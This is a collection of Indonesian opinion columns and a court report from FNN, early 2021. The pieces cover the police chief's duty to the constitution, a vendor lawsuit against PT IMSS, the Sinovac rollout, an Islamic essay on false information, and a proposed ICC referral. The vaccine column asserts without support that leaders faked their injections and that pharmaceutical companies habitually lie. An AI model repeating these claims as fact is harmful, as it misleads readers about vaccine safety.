saja. Sama halnya dengan virus. “Pabrik farmasi kan sudah 200 tahun biasa bohong,” sindir Dokter Tifa. Pantas saja, politisi PDIP yang anggota DPR dr. Ribka Tjiptaning menolak divaksin. Apa ini karena sudah kenyang dibohongin pabrik farmasi? ** Penulis adalah Wartawan Senior FNN.co.id.

Mungkinkah Kapolri Baru Tolak Perintah Presiden?

by Dr. Margarito Kamis, SH.M.Hum Jakarta FNN - Apakah Kapolri baru nanti mengerti hakikat republik? Apakah Kapolri nanti mengerti hakikat polisi negara apa? Apakah Kapolri baru nanti mengerti hakikat rule of law? Apakah Kapolri baru nanti berpaham Presiden sama dengan negara? Apakah Kapolri nanti menyamakan perintah Presiden itu sama dengan perintah hukum? Bagaimana pemahaman Kapolri mengenai konsep ketertiban dan keamanan dalam kerangka negara hukum demokratis? Apakah Kapolri baru nanti mengerti sepenuhnya konteks dan hakikat salus populi suprema lex esto? Bagaimana dia kerangkakan salus populi suprema lex esto itu ke dalam rule of law? Apakah Kapolri baru nanti memahami hukum sebatas teks pasal? Semoga hal-hal itulah yang ditanyakan oleh DPR kepadanya pada waktu fit and proper test nanti. Dulu Pernah Ada Jendral Polisi Hoegeng, tidak banyak bicara soal itu. Tetapi untuk alasan sengeyel apapun, tak bakal mampu menyangkal kenyataan pria ini memiliki kelas dan mengagumkan. Level tak tertandingi sejauh ini. Bukan kesederhanaannya saja yang membuatnya berkelas, tetapi lebih dari itu. Prinsipnya jelas. Berada dalam koridor kekuasaan, yang semua orang picik berebut berada di dalamnya. Menggenggam dengan cara yang khas orang-orang kecil, Pak Hoegeng, justru menjauh darinya. Top Pak Hoegeng, yang tak mampu, sekadar basa-basi saja, menyenangkan bosnya, Presiden Soeharto. Hoegeng dikenang orang hingga di kabupaten Sula, Maluku Utara ini, orang hebat. Ia tak mereandahkan harga dirinya. Tak mampu membebek, membungkuk agar bisa terus berada di koridor kekuasaan. Bapak yang kehormatan selalu bergerak menujunya, memeluknya, hebat sekali. Pak Hoegeng itu konsisten. Laksana busur pemanah kawakan. Dua peristiwa berat secara politik, ia tangani dengan cerdas. Kasus seorang anak pembesar di Yogya, dan kasus penyelundupan mobil mewah di Jakarta, yang bertali-temali dengan pembesar-pembesar politik, rontok di tangan pria lembut dan murah senyum ini. Mungkin terlihat bodoh bagi para pembebek. Untuk para hamba kekuasaan dan uang, Pak Hoegeng akhir terlempar dari jabatannya. Diberhentikan oleh Pak Harto. Apa yang membuatnya begitu kukuh menggenggam kejujuran, keadilan dan kesederhanaannya? Tak ada yang tahu. Ada kata-kata muitiara dari Ating, tulis Aris Santoso , DKK, dalam bukunya Hoengeng, yang terus melekat di benak Hoegeng. “Kekuasaan ibarat pedang bermata dua. Kalau tidak pandai menggunakannya, maka bisa mendatangkan bahaya, baik pada pemiliknya, maupun orang lain. Ingat, tulis Aris Santoso Dkk, melanjutkan kata-kata bijak Ating yang melekat pada Hoegeng, “hanya orang berilmu yang mampu menggunakan kekuasaan yang ada ditangannya, untuk menolong orang-orang yang lemah dan tidak bersalah” (tanda petik dari saya). Karena itu, Hoegeng harus sekolah baik untuk menjadi Polisi, untuk menolong orang lemah yang tidak bersalah. Pria Pekalongan ini, memang pantas menjadi alamat untuk kehormatan. Pria kelahiran 14 Oktober 1921, dan berpulang ke rahmatullah tanggal 14 Juli 2004, akan selalu begitu. Dia dirindukan orang waras, cinta kejujuran, kebenaran dan keadilan setiap kali melihat diksriminasi hukum, lembut atau ekstrim. Ada Pak Hoegeng, semoga Allah Subhanahu Wata’ala selalu melimpahkan Rahim-nya, juga Pak Prapto, Jaksa Agung 1950-1959. Prapto, pria kelahiran 2 Maret 1894 pernah bertugas diberbagai tempat. Pernah menajdi voorzitter pada Landraad Banyuwangi, Singaraja, Bali, dan Lombok pada tahun 1920 hingga 1929. Dia juga pernah menjadi hakim di Salatiga dan Pekalongan pada tahun 1941-1942, dan Ketua Pengadilan Tinggi Yogyakarta pada tahun 1948. Lima bulan menjadi hakim Agung (20 Juli 1950), Soeprapto diangkat menjadi Jaksa Agung. Pengangkatan ini dituangkan dalam Kepres No. 64 pada 2 Desember 1950. Bening dengan kejujuran, berkilau dengan keadilannya, Pria ini menolak perintah Presiden Soekarno, untuk satu urusan kecil, tetapi penting. Soeprapto menolak melaksanakan perintah Bung Karno, yang menurut penilaiannya bertentangan dengan hukum. Perintah Bung Karno itu adalah menindak Mochtar Lubis, penanggung jawab Harian Indonesia Raya. Karena berita-beritanya Harian Indonesia Raya yang dinilai mencemarkan nama baik Bung Karno, ditolak Prapto. Jauh setelah masa keduanya, tata negara dan politik Indonesia menemukan Pak Jendral Suroyo Bimantoro. Kapolri yang satu ini juga top. Sikapnya menolak melaksanakan tindakan atau perintah Presiden, jelas. Pria pintar ini, begitu kukuh menjaga marwah konstitusi dan eksistensi Kepolisian. Top. Agungkan Konstitusi Pak Hoogeng dan Pak Prapto, jelas, teladan dunia hukum negeri ini. Diseberang jauh, dunia baru saja menyaksikan kebesaran Mark Esper, Menteri Pertahanan Donald Trump ini memutuskan hubungan dengan Trump setelah secara terbuka menentang permohonan Insurection Act of 1807, terkait perintah Trump untuk penempatan pasukan aktif di kota-kota Amerika. Esper mengatakan bahwa "Pengawal Nasional paling cocok untuk melakukan dukungan domestik kepada otoritas sipil.” Saya mengatakan ini tidak hanya sebagai Menteri Pertahanan. Saya mengatakan ini juga sebagai mantan tentara, dan mantan anggota Garda Nasional. Pilihan untuk menggunakan pasukan aktif dalam peran penegakan hukum sebaiknya hanya digunakan sebagai pilihan terakhir, dan hanya dalam dan situasi yang mengerikan. Top markotop Mark Esper. Kami, kata Esper, tidak berada dalam salah satu situasi itu sekarang. Saya tidak mendukung penerapan Insurrection Act. "Hebat, Esper menemukan langkah-langkah di hari-hari berikutnya untuk lebih menurunkan situasi. Esper mengembalikan pasukan ke pangkalan mereka tanpa memberi tahu Gedung Putih. Dia begitu faham konstitusi. Sehingga dia faham dan tunduk hanya kepada konstitusi, juga prinsip-prinsip demokrasi. Super top Mark Esper. Lain Esper, lain pula Jeffrey Rosen, Deputy Attorney General, meninggalkan jabatan yang disandangnya, setelah lebih dari tiga puluh tahun berkarir di kementerian ini. Rosen memutuskan meninggalkan jabatannya, karena satu alasan yang khas konstitutional. Rosen menilai William Barr, Bosnya, telah menggunakan, mendedikasikan kementerian untuk kepentingan politik Trump, bukan untuk konstitusi. Tragis, William Barr, sang Jaksa Agung, akhirnya juga frustrasi dengan perintah Trump. Karena Trump perintahkan Barr untuk menyediliki kecurangan pemilu, yang ternyata tidak ditemukan, justru membuat Trumph marah. Trumph juga marah, karena Barr dinilai tidak tuntas mengusut Hunter Biden, anak Joe Biden, Presiden terpilih. Frustrasi dengan perintah Trump yang menyebalkan berbagai kalangan sejauh ini, karena dinilai merusak konstitusi, Barr kehilangan kemampuannya menjadi jongos Trump. Harga dirinya bergerak naik, dan menguat melemahkan energinya melayani administrasi Trumph. Barr akhirnya menemukan dirinya sebagai laki-laki terhormat. Dia memilih meletakan jabatan itu. Selalu seperti sebelumnya, Trump mempersilahkannya, sembari mengucapkan terima kasih, member pujian politis kepada Bar (Lihat Spectrum News, Com. 23/12/2020). Kepala polisi Capitol AS dan dua pejabat keamanan senior, juga memperlihatkan level integritasnya yang sama. Menyusul pendudukan dan pengrusakan Capitol Hill, mereka mengundurkan diri. Apalagi seiring terjadinya peristiwa jorok itu, kritik masyarakat bergerak naik. Polisi dinilai ceroboh menangani serangan kejam pendukung Trump terhadap Capitol Hill. Nancy Pelosi, House Speker dari Demokrat, terlepas dari kenyataan dirinya cukup sering berseberangan dengan Trump, mengecem aksi ini. Tidak sendirian di barisan, tokoh senior lainnyapun mengecamnya. Steven Sund, Kepala Polisi Capitol Hill, tidak ngeyel khas polisi-polisi kerdil, untuk kelalaiannya itu. Dia mengundurkan diri dari jabatan itu, terhitung efektif mulai 16 Januari nanti (The Guardian, 8/1/2021). Presiden, dalam semua republik, tidak dapat disamakan, apapun alasannya, dengan konstitusi. Presiden tidak sama dengan hukum, apalagi hukum itu sendiri. Presiden adalah nama jabatan, yang pemangkunya (orangnya) dibebankan kewajiban melaksanakan konstitusi. Melaksanakannya juga harus adil. Adil mensyaratkan presiden harus transparan, dengan argumen-argumen konstitusi. Presiden juga harus tahu dignity, dan humanity. Dia harus tahu equality before the law dalam semua aspek kehidupan. Presiden, harus tahu Polisi kita, dengan argumentasi apapun, tidak bisa dikonstruksi menjadi Polisi Presiden Republik Indonesia. Betul, presiden adalah satu-satunya figur tata negara memegang kewenangan melaksanakan hukum. Betul itu. Tetapi Polisi kita, bukan Polisi presiden. Kepolisian kita adalah Kepolisian Republik Indonesia (Polri). Itulah status konstitusional yang diberikan oleh UUD 1945 kepada Kepolisian Republik Indonesia. Sehingga Kapolri baru, siapapun dia, mau atau tidak mau, harus memahami prinsip-prinsip konstitusi itu. Kapolri baru, siapapun dia, mau atau tidak mau, harus mengikatkan diri sepenuhnya pada konstitusi. Kapolri baru, terlepas dari siapapun orangnya, harus mengkerangkakan norma “menjaga keamanan dan ketertiban masyarakat” dalam UUD 1945 ke dalam konsep negara hukum yang demokratis. Konsep ini juga dinyatakan dalam UUD 1945. Polisi itu punya hukum dan bedil. Jaksa hanya punya hukum, tanpa bedil. TNI hanya punya bedil, tak punya hukum. Polisi, sekali lagi, memiliki kedua-duanya. Demi bangsa ini, kewenangan ini harus ditata. Ilmuan tata negara dan politik yang mendalami sejarah, mengerti aksioma sejarah dua alat itu. Aksioma itu sangat yang jelas. Bedil dan hukum selalu dipakai, dengan berbagai alasan khas rezim bejat, untuk memperbesar kekuasaannya. Melumpuhkan, memenjarakan dan membunuh orang-orang yang berseberangan dengan penguasa. Penguasa-penguasa bejat membentengi kekuasaannya, hanya dengan dua alat itu, hukum dan bedil. Aksioma itulah yang merangsang orang-orang bijak yang memimpikan demorasi menggariskan prinsip-prinsuip penggunaan hukum dan bedil. Harus ada restriksi. Tujuannya melindungi dan eksistensi rakyat. Akhirnya digariskan kewenangan menggunakan dua alat itu dapat diletakan hanya pada orang yang beres otak dan mentalnya. Bukan pada orang yang kaleng-kelang, odong-odong dan beleng-beleng. Terlalu sukar untuk tak menilai bahwa salus populi suprema lex esto, sejauh ini, telah dimaknai secara keliru. Doktrin ini terlihat konyol penerapannya. Main buntuti, tembak dan bunuh, sebagaimana yang menimpa enam anggota Laskar Front Pembela Islam (FPI), harus dilihat sebagai bentuk kongkrit dari kekeliruan memahami salus polpuli suprema lex esto itu. DPR harus mengerti itu. Sebab gagasan itulah yang menjadi akar lahirnya fit and proper test. Secara praktis fit and proper test, merupakan cara politik rakyat mengecek level otak dan mental orang yang bakal memegang kewenangan itu. Darah yang tertumpah dan nyawa yang melayang di kilometer 50 tol Jakarta-Cikampek (Japek) itu, yang menambah darah-darah yang telah lebih dahulu tumpah dan nyawa-nyawa yang telah lebih dahulu melayang, harus menjadi yang terakhir. Kesewenang-wenangan hukum harus diakhiri. Akankah sejarah hukum dan tata negara Indonesia kelak, menuliskan lagi nama seorang Kapolri, yang dengan cara halus, menolak melaksanakan perintah Presiden? Hanya karena perintah itu dinilai bertentangan dengan rule of law dan etika republik? Sejarah punya cara untuk membicarakannya. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Vendor Gugat PT IMSS, Anak Perusahaan PT. INKA

by Bambang Tjuk Winarno Madiun FNN - Matahari mengambang sepenggalah. Belum meninggi berada di titik kulminasi. Waktu itu, pendule jam menunjuk kisaran pukul 10 pagi, waktu di seputaran Pengadilan Negeri Madiun, yang berdiri di jantung kota, Selasa (12/01). Sejurus kemudian, berjalan seorang pria separuh baya, bagus rupa. Benturan lantai tumit sepatunya tak terdengar. Lantaran pria berperawakan gemuk, agak pendek, itu mengenakan sepatu catch warna biru tua. Model sepatunya seperti yang biasa dikenakan Dahlan Iskan, mantan menteri BUMN itu. Penyuka alas kaki demikian mencerminkan pemakainya dinamis. Energik, namun rileks. Sehingga fleksibel dikenakan sosok dengan mobilitas tinggi. Pria itu adalah Kolik, Direktur Utama PT. Inka Multi Service Solution (IMSS), yang tak lain adalah anak perusahaan BUMN PT. INKA (Persero). Kolik mendatangi gedung Pengadilan Negeri Madiun, dengan diapit dua orang pengacaranya, Joko SH. dan Wahyu SH. sebagai tergugat secara perdata. Penggugatnya adalah Sunarto, warga Desa Sukoharjo, Kecamatan Kayen Kidul, Kediri, sebagai vendor atau mitra kerja PT IMSS. Sunato pernah mengerjakan beberapa item proyek di lingkungan PT. INKA, pesanan kerja dari anak usahanya PT. IMSS. Sunarto mengaku sebagai korban atas klausul kerjasama pengerjaan berbagai proyek, yang dimulai sejak tahun 2017. Terkait pembayaran nilai proyek, menurut Sunarto, masih terdapat sisa senilai Rp. 500 juta. Uang tersebut hingga kini belum tertuntaskan. Berulangkali korban Sunarto menagih ke Kolil dan PT IMSS. Penagihan yang dilakukan, baik langsung maupun lewat sambungan telepon kepada Direktur Utama PT. IMSS, Kolik. Namun selalu mental dan gagal. Hingga akhirnya dia menggugat secara hukum. "Duuoooookkkkk.....". Palu hakim tunggal Pengadilan Negeri Madiun Kota, yang digenggam Endratno Rajamai, SH, MH, sekali membentur papan meja di tempat duduknya. Pertanda persidangan dimulai. Boleh jadi bagi penggugat, terlebih tergugat, tak mengira kerja samanya selama ini berakhir di tempat yang propertinya dominan serba hijau. Pengadilan. "Jangankan cuma Direktur Utama, presiden yang baik (negara, yang saat ini dijabat Jokowi) pun harus bertanggung jawab saat dia menjabat. Terlepas dari terjadinya persoalan sebelum dia menjabat sebagai presiden," tegas hakim tunggal PN Madiun Kota, Endratno Rajamai, SH., MH, memberikan permisalan. Perumpamaan ditujukan kepada Direktur Utama PT. IMSS, Kolik sebagai tergugat, saat memulai sidang perdana gugatan yang diajukan mitra kerjanya, Sunarto (penggugat), di pengadilan negeri setempat, Selasa (12/01). Terminologi kepemimpinan tersebut diungkapkan Endratno Rajamai, menjawab Kolik, yang saat itu diberikan kesempatan untuk menyampaikan pendapat sebelum sidang dilanjutkan. Sewaktu diberi kesempatan menyampaikan keberatannya, Kolik yang duduk dalam apitan dua lawyernya, Joko SH. dan Wahyu SH. bersemangat menyampaikan keberatannya, sembari menggerak gerakkan kedua tangannya naik turun, guna memperjelas maksud yang diungkapkan. "Begini Pak Hakim. Yang membuat kami keberatan atas gugatan ini, saya menjabat sebagai Dirut PT. IMSS pada Tahun 2019. Sedangkan persoalan yang digugat penggugat itu terjadi sebelum saya menjabat," ucap Kolik yang mengenakan masker medis hijau itu. Namun intonasi meninggi bicara Kolik langsung mereda, sewaktu hakim tunggal bermasker putih itu menjelaskannya sebagaimana terkutip di kalimat langsung di atas. Sidang perdana gugatan perdata beragenda pembacaan materi gugatan itu berlangsung singkat. Di hadapan floor yang bersengketa, Endratno Rajamai sengaja tidak menuntaskan bacaan gugatan. Hakim beranggapan (yang diiyatakan kedua pihak) para pihak telah memahami isi gugatan. Sementara menurut vendor Sunarto selaku penggugat, pihaknya terpaksa menggugat secara hukum lantaran merasa telah jenuh dengan cara tagih konvensional yang tidak pernah berhasil. "Jadi kita bekerja itu banyak saksinya. Baik karyawan saya, maupun orang PT. INKA yang mengawasi pekerjaan saya. Saya sudah menagih berulangkali dengan baik baik. Namun selalu gagal," tutur Sunarto kepada jurnalis usai persidangan. Sementara pengacara Sunarto, Arifin P. SH. Menilai gugatan tidak dialamatkan kepada badan hukum PT. IMSS, mengingat badan hukum perusahaan tersebut, tentu memiliki perangkat sumber daya manusia, sebagai yang mengendalikan jalannya perusahaan. "Lucu kalau kami menggugat badan hukumnya. Kan di badan hukum PT IMSS itu ada pimpinan yang bertanggung jawab," jelas Arifin. P. SH. Kerugian yang diderita Sunarto mencapai Rp. 500 juta. Sedangkan proyek yang sudah selesai dikerjakan menyangkut perbaikan rel kereta api, pengecatan, pengelasan serta jenis pekerjaaan proyek lainnya. Selian Sunarto, gugatan perdata terhadap PT. IMSS itu juga dilakukan dua vendor lain, yakni Sugito dan Widodo. Dalam konteks yang sama, kedua vendor itu mengalami kerugian masing masing sebesar Rp. 500 juta. Sugito dan Widodo akan tampil menggugat di persidangan yang sama pada Rabu (13/01). Dengan pengacara tidak berbeda, yakni Arifin. P, SH. Penulis adalah Wartawan FNN.coid.

Gagal Vaksin Manifestasi Presiden Yang Gagal

by M. Rizal Fadillah Bandung FNN - Vaksin Sinovac sudah didistribusikan ke beberapa Provinsi. Bulan Januari mulai penyuntikan vaksin. Badan Pengawasan Obat dan Makanan (BPOM) belum mengumumkan izin. Jika dipaksakan untuk dikeluarpun, itu tidak sehat karena tanpa penelitian tuntas dan seksama. Mau dipaksakan dan diburu-buru. Presiden Jokowi paksakan tanggal 13 Januari 2021 hari ini mulai dilakukan vaksinasi serentak. Konon Presiden akan disuntik pertama kali di istana negara. Begitulah Menteri Kesehatan (Menkes) Budi Gunadi Sadikin mengumumkan. Di beberapa negara banyak pimpinan negara memulai penyuntikan vaksin atas dirinya. Kemudian diketahui ternyata itu hanya suntikan rekayasa. Rupanya para pimpinan negara yang takut terinfeksi virus Covid 19, sama takutnya dengan disuntik vaksin. Ketakutan ini didasarkan pada keraguan akan jaminan keamanan vaksin yang disuntikan. Vaksin Sinovac masih menjalani uji klinis tahap tiga. Artinya pengujian belum selesai. Masih butuh waktu yang panjang untuk sampai pada penyelesaian uji klinis tersebut. Namun sudah dipaksakan untuk disuntikan. Tentu hari ini kita akan menyaksikan penyuntikan perdana atas diri Presiden Jokowi. Belajar dari karakter bawaan Presiden yang senang pada pencitraan, maka penyuntikan yang dilakukan mesti diperhatikan dengan seksama. Teliti benar isi vaksin, maupun cara penyuntikan. Presiden tak boleh bohong atau mekakukan rekayasa kepada rakyatnya sendiri. Jika sampai terjadi suntukan vaksin yang rekayasa dan pencitraan, maka tentu akan berdampak besar. Disamping akumulasi dari kebohongan juga bakal menjadi bagian dari penyunyikan skandal vaksin. Penolakan untuk divaksin karena keraguan keamanan khususnya vaksin China ini terjadi dimana-mana. Penolakan hampir terjadi seluruh belahan dunia. Kalangan tenaga medis sebagai klaster pertama target penyuntikan, ternyata banyak yang menyatakan menolak dan tak bersedia disuntik. Video Menteri Negara Badan Usaha Milik Negara (BUMN) Erick Thohir yang tak mau disuntik pertama, viral kembali. Begitu juga teraktual video anggota DPR Faksi PDIP dr. Ribka Tjiptaning yang tegas-tegas menolak untuk divaksin. Ribka juga mengatakan menolak anak-cucunya divaksin. Ribka bilang, lebih baik memilik untuk didenda daripada di suntik vaksin. “Memaksakan untuk melakukan penyuntikan vaksin adalah perbuatan melanggar Hak Asasi Manusia (HAM), “kata Ribka Tjiptaning. Sementara di tingkat elit dan kalangan medis saja banyak yang ragu dan menolak. Apalagi untuk masyarakat kebanyakan. Wajar saja kalau makin banyak masyarakat yang ragu dengan penyuntikan vaksin sinovac ini. Belum lagi soal kehalalan vaksin yang masih menjadi persoalan. Wakil Presiden (Wapres) Ma’ruf Amin terkesan harus "mengemis-ngemis" agar Majelis Ulama Indonesia (MUI) mengeluarkan fatwa halal untuk vaksin sinovac. Soal halal haram tidak boleh dikaitkan dengan kebutuhan politik dan ekonomi. Jika program vaksin gagal, yakni tidak memenuhi target, maka berapa Trilyun kerugian negara yang secara tergesa-gesa telah membeli vaksin Cina Sinovac. Padahal vaksin ini ditolek oleh banyak negara di dunia. Kecurigaan terjadinya bisnis vaksin tersebut dikemukakan oleh banyak kalangan, termasuk anggota DPR Fraksi PDIP dr. Ribka Tjiptaning. Komisi Pemberantasan Korupsi (KPK) harusnya mulai menyisir akibat kerugian negara yang mungkin terjadi dari korupsi vaksin sinovac ini. Sementara DPR yang "kritis" soal vaksin juga harus mengejar pertanggungjawaban Presiden atas problema vaksin yang merugikan keuangan negara tersebut. Skandal vaksin sinovac harus dicegah dan dipertanggungjawabkan. Rakyat jangan menjadi obyek mainan dengan dalih apapun termasuk kesehatan.Gagal vaksin adalah manifestasi dari Presiden yang gagal. Penulis adalah Pemerhati Politik dan Kebangsaan.

Jihad Melawan Kemungkaran Informasi

by Adian Husaini Jakarta FNN - AMAR ma’ruf nahi munkar adalah salah satu kewajiban penting yang harus dilakukan setiap Muslim, baik secara individual maupun secara bersama atau berjamaah. Allah berfirman: "Dan orang-orang yang beriman, laki-laki dan perempuan, sebagian mereka menjadi penolong bagi sebagian yang lain. Mereka menyuruh kepada yang makruf dan mencegah kemungkaran, mendirikan salat, menunaikan zakat, dan mereka taat kepada Allah dan Rasul-Nya. (QS At Taubah:71). Aktivitas amar ma’ruf nahi munkar memang merupakan kewajiban yang sangat ditekankan oleh Allah SWT dan Rasul-Nya. Bahkan, disebutkan, sejumlah dampak buruk bagi masyarakat, jika amar makruf nahi munkar tidak ditegakkan. Siksaan dan azab Allah akan turun kepada seluruh masyarakat, baik masyarakat yang baik maupun yang zalim. Tanpa pandang bulu. "Dan jagalah dirimu dari bencana yang tidak khusus menimpa orang-orang yang zalim saja di antara kamu. Dan ketahuilah, Allah sangat keras siksanya." (QS Al Anfal:25). "Sesungguhnya manusia, jika mereka melihat kemungkaran, sedangkan mereka tidak mengubahnya, maka datanglah saatnya Allah menjatuhkan siksa-Nya secara umum. (HR Abu Dawud) Dalam sebuah hadis yang diriwayatkan oleh Imam Bukhari, Nabi SAW membuat paparan tentang sekelompok penumpang kapal sebagai tamsil sebuah masyarakat. Penumpang menempati tempat duduknya masing-masing, ada yang di atas dan ada yang di bawah. Penumpang yang di bawah, enggan naik ke atas, untuk mengambil air. Dari pada repor-repot, maka ia lubangi saja bagian bawah tempat duduknya, untuk mengambil air. Digambarkan oleh Nabi SAW, jika para penumpang lainnya mendiamkan saja tindakan si penumpang yang membuat lubang itu, maka akan binasalah si penumpang, dan juga binasa seluruh penumpang kapal itu. Kemungkaran informasi dapat memiliki dampak yang jauh lebih dahsyat dibandingkan dengan kemungkaran secara amaliyah. Sebab, kemungkaran informasi merupakan kemungkaran di bidang keilmuan, sehingga dapat mengubah persepsi seseorang terhadap sesuatu. Opini atau informasi yang salah dapat menimbulkan penyesatan opini yang sangat membahayakan masyarakat bahkan dapat merusak aqidah Islam, dan menimbulkan berbagai perilaku yang salah. Karena itu, ”informasi yang salah” adalah kemungkaran yang wajib diluruskan oleh setiap Muslim, baik dengan tangan, lisan, atau hati, sebagaimana diperintahkan oleh Rasulullah saw. Orang yang termakan oleh informasi sesat -- misalnya, pemikiran bahwa semua agama adalah sama dan benar -- maka akan rusaklah keyakinan atau keimanannya. Sebab, al-Quran menegaskan, Hanya Islam agama yang benar dan diridhoi Allah (QS Ali Imran:19, 85). Dalam dunia pendidikan, misalnya, dikembangkan opini bahwa sekolah atau perguruan tinggi yang unggul adalah yang lulusannya mudah mencari pekerjaan-pekerjaan yang menghasilkan banyak uang. Aspek iman, taqwa, dan akhlak mulia, tidak dianggap sebagai indikator penting dalam menentukan kualitas atau rangking suatu perguruan tinggi. Akhirnya, terjadilah pemujaan yang berlebihan terhadap gelar, harta dan jabatan. Demi jabatan, tak jarang, kebenaran dikorbankan. Penyesatan Opini Berbeda dengan kemungkaran yang jelas dan mudah dipahami seperti tindak kejahatan pencurian, perampokan, korupsi, perkosaan, perzinahan, minuman keras, dan sebagainya, penyesatan opini merupakan tindak kemungkaran yang cukup rumit dan memerlukan sedikit pemikiran untuk memahami kemungkaran tersebut. Kemungkaran jenis ini memang memungkinkan terjadinya -- apa yang disebut Ibnul Jauzy -- sebagai talbis, yakni menampilkan kebatilan dalam wajah kebenaran (manipulasi). Di dalam kitabnya, Talbis Iblis, Ibnu Jauzi menjelaskan dengan panjang lebar berbagai talbis yang dilakukan oleh setan terhadap berbagai golongan dan jenis manusia, mulai talbis terhadap orang awam sampai golongan ulama. Apa yang digambarkan oleh Ibnu Jauzi dalam talbis Iblis terhadap golongan batiniyah mirip sekali dengan gerakan spiritualisme, sinkretisme, dan penyamaan agama yang ramai berkembang di Indonesia saat ini. Kelompok batiniyah berpandangan bahwa yang lebih penting dari Al Quran dan hadis adalah "batin", dan bukan hal-hal yang zahir seperti ketentuan-ketentuan syariat (hukum-hukum) Islam. Justru aspek-aspek yang zahir seperti itu harus ditinggalkan (dibuang) agar tidak menjadi beban/belenggu bagi manusia. Mereka menggunakan QS Al A'raf ayat 157 sebagai landasannya: "Dan, mereka membuang beban-beban dan belenggu-belenggu yang ada pada diri mereka." Orang yang sudah termakan oleh talbis Iblis dapat saja menjadi fanatik dan militan dalam memperjuangkan pemahamannya, seperti yang dilakukan oleh kelompok khawarij, yakni kelompok yang melampaui batas dalam pemahaman dan pengamalan agama. Jadi, penyesatan melalui opini sangat berpotensi memicu terjadinya talbis terhadap kebenaran, apalagi jika penyesatan itu dilakukan dengan metode yang baik, secara terus-menerus, terencana, dan didukung oleh tokoh-tokoh publik. Talbis akan semakin mudah terjadi jika kaum Muslim -- terutama tokoh-tokoh dan ulama mereka -- bersikap pasif dan tidak melakukan tindakan yang berarti untuk melawan usaha penyesatan opini terhadap umat Islam. Lebih berat lagi, jika informasi yang salah itu disebarkan oleh tokoh dan pemuka agama. Dampaknya akan sangat besar, karena dapat menyesatkan banyak orang. Karena itu, pada hari kiamat nanti, banyak orang dimasukkan ke neraka, karena mereka tertipu oleh informasi yang disebarkan oleh para pemimpin mereka. Mereka hanya mengikuti pemikiran para tokohnya, meskipun jelas-jelas itu bertentangan dengan kebenaran. "Pada hari ketika muka mereka dibolak-balikkan dalam neraka, mereka berkata: "Alangkah baiknya, andaikata kami taat kepada Allah dan taat pula kepada Rasul." Dan mereka berkata: "Ya Tuhan kami, sesungguhnya kami telah mentaati pemimpin-pemimpin dan pembesar-pembesar kami, lalu mereka menyesatkan kami dari jalan (yang benar). Ya Tuhan Kami, timpakanlah kepada mereka azab, dua kali lipat dan kutuklah mereka dengan kutukan yang besar." (QS Al Ahzab:66-68). Jihad di bidang informasi memerlukan kesungguhan dan pengorbanan yang besar, termasuk dalam soal pembiayaan. Sebab, umat Islam wajib memiliki media-media yang berkualitas agar mampu menyampaikan kebenaran dan menangkal informasi atau opini yang salah. Rasulullah SAW mengingatkan, agar umat Islam berjihad melawan kemusyrikan dengan harta, jiwa, dan lisan mereka. Maknanya, semua potensi umat wajib dikerahkan untuk perjuangan melawan berbagai macam kebatilan. Namun, di era serba internet saat ini, kemungkaran informasi itu bisa juga datang dari kalangan muslim sendiri. Biasanya itu akibat dari ketidaktahuan dan kecerobohan dalam menerima dan menyebarkan informasi yang salah. Oleh karena itu, berilmulah dan berhati-hatilah dalam menerima dan menyebarkan informasi. ** Penulis adalah Ketua Umum Dewan Da'wah Islamiyah Indonesia (DDII).

Komnas HAM Bisa Dilaporkan ke Pengadilan Kriminal Dunia ICC

by M. Rizal Fadillah Jakarta FNN – Selasa (12/01). Kekecewaan banyak pihak atas hasil kerja Komisi Nasional Hak Asasi Manusia (Komnas HAM) memang wajar dan dapat dimengerti. Terlalu banyak pertanyaan yang masih menggantung jawabannya dari hasil penyelidikan yang telah dirilis Komnas HAM pada tanggal 8 Januari lalu. Banyak masalah yang belum dijelaskan oleh Komnas HAM. Misalnya, soal tembak-menembak, kepemilikan senjata api rakitan, alas hukum pengintaian dan pembuntutan, dan penyiksaan. Siapa komandan di dalam mobil Landcruiser? Berapa nomor polisi mobil Landcruiser? Hingga kendaraan pembuntut berisi petugas yang misterius itu. Pembunuhan yang dikategorikan pelanggaran HAM pun tak terjelaskan tempat kejadiannya. Siapa pelaku penembakan? Adalah wartawan dan reporter senior FNN.co.id, Eddy Mulyadi yang membeberkan banyak kejanggalan dari rilis Komnas HAM tersebut. Berlembar-lembar analisis kajian disiarkan kepada para pemirsa. Analisis yang tajam, akurat, namun santai, khas jurnalis senior yang dikenal berani ini. Tentu menohok kepada personal Tim penyelidik Komnas HAM yang dipimpin Choirul Anam. Menyayangkan hasil kerja penyelidikan Tim Komnas HAM yang terkesan sangat mendalam dan mantap. Namun minim sekali hasil yang dapat disampaikan kepada publik. Meskipun menyadari kemungkinan adanya tekanan yang menyebabkan Komnas HAM menjadi kelu dan ragu-ragu. Bahwa adanya rekomendasi tindak lanjut proses peradilan tentu disambut baik. Walaupun ikut juga disesalkan kesimpulannya yang tidak sampai pada terjadinya pelanggaran HAM berat. Kondisi jenazah yang menyedihkan, karena lebam-lebam, bengkak, cacat di kamaluan, kuku kaki yang lepas semua. Itu membawa keyakinan bahwa yang terjadi adalah pelanggaran HAM berat. Telah nyata-nyata dari kondisi jasat enam anggota Laskar Front Pembela Islam (FPI) mengindikasikan adanya perbuatan petugas yang di luar batas kemanusiaan. Untuk itu, wajar bila masih terdengar tuntutan perlunya penyelidikan Tim Pencari Fakta (TPF) Independen. Ini juga sebagai opsi untuk melibatkan lembaga HAM internasional yang mengemuka. Perlu juga untuk mengagendakan pelaporan ke lembaga peradilan kriminal internasional (Internasional Criminal Court) di Den Haag Belanda. Butuh obyektivitas tinggi untuk mengusut dan menyelidiki kasus yang sangat mungkin dapat berujung pada skandal tingkat tinggi lembaga Kepolisian maupun Pemerintahan. Perlu diusut motif politik dari pembunuhan atau pembantaian tersebut. Berangkat dari temuan atau kesimpulan "seribu kejanggalan" ini, maka andai kasus "Pelanggaran HAM di kilometer 50 tol Jakarta-Cikampek (Japek)" dapat dibawa ke tingkat peradilan internasional, maka Komnas HAM yang bekerja kelu dan ragu-ragu itu dapat dijadikan pihak terlapor pula. Komnas HAM dapat diduga sebagai pihak yang telah turut serta mengaburkan peristiwa terjadinya pelanggaran HAM berat terhadap nayawa anak bangsa. Nyawa manusia terkesan dapat dinegosiasi. Karenanya Komnas HAM pantas menjadi pihak yang ikut juga melakukan "pelanggaran HAM". ICC di Den Haag diharapkan dapat menindaklanjuti laporan dari kasus yang diajukan ini. Syarat terpenting adalah "unwillingness", yaitu tidak ada kemauan peradilan di Indonesia untuk mengadili kejahatan kemanusiaan. 